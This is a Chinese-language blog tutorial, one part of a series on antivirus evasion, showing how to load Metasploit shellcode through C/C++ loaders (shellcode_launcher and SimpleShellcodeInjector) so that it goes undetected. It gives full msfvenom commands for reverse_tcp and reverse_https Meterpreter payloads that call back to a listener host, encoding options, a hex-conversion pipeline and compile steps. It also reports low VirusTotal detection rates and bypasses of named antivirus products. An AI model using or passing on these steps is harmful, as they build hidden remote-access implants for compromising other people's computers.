【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

0x01 C/C++加载shellcode免杀介绍

0x02 使用shellcode加载器

使用shellcode_launcher(VT免杀率3/71)

使用SSI加载(VT免杀率6/69)


本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章)

                                                                                       免杀能力一览表

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第1张图片

 

0x01 C/C++加载shellcode免杀介绍

在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。

这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:

1、C/C++源码+shellcode直接编译,其中对shellcode的执行可以使用函数指针执行、汇编指令执行、申请动态内存等方式,且shellcode可进行一些加密混淆处理;比如免杀工具veil和Venom都是使用了类似的方法。

2、使用加载器加载C/C++代码,如shellcode_launcher之类。

 

0x02 使用shellcode加载器

使用shellcode_launcher(VT免杀率3/71)

shellcode加载器中效果最好使用较多的就是shellcode_launcher了。

https://github.com/clinicallyinane/shellcode_launcher/

使用非常简单,克隆到本地git clone https://github.com/clinicallyinane/shellcode_launcher/

其中的文件shellcode_launcher.exe就是要用到的加载器。

还是先用Msfvenom生成raw格式的shellcode

 msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333  -f raw -o shellcode.raw

在测试机器上执行,杀软均无反应

shellcode_launcher.exe -i shellcode.raw

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第2张图片

msf中可正常上线

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第3张图片

virustotal.com上shellcode.raw查杀率为1/57

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第4张图片

virustotal.com上shellcode_launcher.exe查杀率为3/71

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第5张图片

使用SSI加载(VT免杀率6/69)

这里需要使用的加载器https://github.com/DimopoulosElias/SimpleShellcodeInjector

先用msfvenom生成基于c语言的shellcode

msfvenom -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f c -o msf.txt

然后执行下面命令,会得到一串16进制字符串

cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第6张图片

然后在SimpleShellcodeInjector文件中,找到文件SimpleShellcodeInjector.c。使用命令i686-w64-mingw32-gcc SimpleShellcodeInjector.c -o ssi.exe编译生成ssi.exe。

如果没有安装i686-w64-mingw32-gcc,可在这里下载https://github.com/TideSec/BypassAntiVirus/tree/master/tools

其实在SimpleShellcodeInjector\OLDBinary文件中也有个ssi.exe,这是作者给编译好的,不过不建议使用,因为这个ssi.exe已经能被很多杀软查杀,最好就是使用上面的命令自己编译一个。

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第7张图片

使用编译生成的ssi.exe,参数为上面的16进制字符串,执行shellcode。360和火绒的静态+动态查杀都可bypass。

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第8张图片

msf可正常上线

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第9张图片

virustotal.com上ssi.exe查杀率为6/69

【免杀篇】远控免杀专题(28)-C、C++加载shellcode免杀(下)_第10张图片

 

参考链接:

Meterpreter免杀总结:   https://carlstar.club/2019/01/04/dig/

shellcode加载总结:  https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html

浅谈meterpreter免杀:https://www.jianshu.com/p/9d2790f6c8aa

 


虽然我们生活在阴沟里,但依然有人仰望星空!


 

你可能感兴趣的:(免杀篇)